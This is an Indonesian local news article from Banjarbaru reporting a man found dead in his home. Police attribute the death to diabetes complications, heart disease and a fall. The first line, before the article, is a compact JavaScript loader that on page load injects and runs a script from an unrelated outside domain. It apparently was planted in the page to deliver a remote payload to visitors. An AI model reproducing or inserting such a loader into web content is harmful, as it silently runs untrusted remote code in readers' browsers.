(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sempat Jawab Panggilan Tetangga, Lelaki di Sungai Ulin Tersungkur Meninggal Dunia

KANALKALIMANTAN.COM, BANJARBARU – Seorang lelaki kenakan handuk ditemukan tersungkur di ruang tamu sebuah rumah di jalan Jeruk, Kelurahan Sungai Ulin, Kecamatan Banjarbaru Utara, Kota Banjarbaru, Minggu (27/8/2023) sore.

Jasad lelaki beridentitas Muhlis (47) ini merupakan warga Komplek Mustika Griya Bukit Asri H18 RT 26, Kelurahan Sungai Ulin, didapati meninggal dunia di rumahnya sendiri.

Kapolsek Banjarbaru Utara Kompol Yopie Andri Haryono SSos membeberkan peristiwa penemuan jasad lelaki itu pertama kali dilaporkan oleh tetangganya.

“Muhlis didapati pertama kali oleh tetangganya sekitar pukul 16.00 Wita dalam posisi sudah tersungkur di lantai ruang tamu rumahnya,” ujar Kompol Yopie Andri Haryono, Minggu (27/8/2023) malam.

Kompol Yopie menjelaskan dari keterangan saksi, kejadian ini bermula saat istri Muhlis bernama Nurul Muslimah (36), tak kunjung mendapat jawaban telepon dari suaminya. Istrinya diketahui sedang berada di Kota Banjarmasin untuk menghadiri acara haul orangtuanya.

Sebelum pergi, Nurul sempat menitipkan suaminya yang berada di rumah seorang diri kepada tetangganya.

“Karena suaminya tak menerima panggilan, sekitar pukul 15.30 Wita, istrinya lalu menelpon tetangganya itu untuk mengecek keadaan suaminya di rumah,” imbuh dia.

Tak berselang lama, sambung dia, tetangga itu langsung memeriksa rumah dan mencoba memanggil Muhlis dari luar rumah.

“Sempat ada jawaban dari Muhlis, tetangga itu mendengar seperti ada suara teriakan, kemudian tetangga itu mendengar suara orang terjatuh yang diindikasikan adalah Muhlis sendiri,” ungkap Kapolsek.

Mendengar suara itu membuat tetangga itu langsung mengintip keadaan dari jendela yang bisa dibuka oleh saksi. Namun saksi langsung mendapati Muhlis sudah dalam posisi tersungkur.

Alhasil saksi pun memanggil warga lain untuk mendobrak pintu rumah bagian samping dan melaporkan kejadian kepada pihak berwajib.

Selanjutnya personel Polres Banjarbaru bersama dengan piket fungsi, Inafis dan Polsek Banjarbaru Utara mendatangi lokasi rumah Muhlis.

Dari hasil pemeriksaan, Muhlis diindikasi mengidap sejumlah penyakit dan juga sempat terjatuh.

“Indikasi penyebab kematiannya dikarenakan mengidap penyakit komplikasi gula darah, jantung dan terjatuh,” pungkas Kapolsek Banjarbaru Utara. (kanalkalimantan.com/wanda)

Reporter : wanda

Editor : bie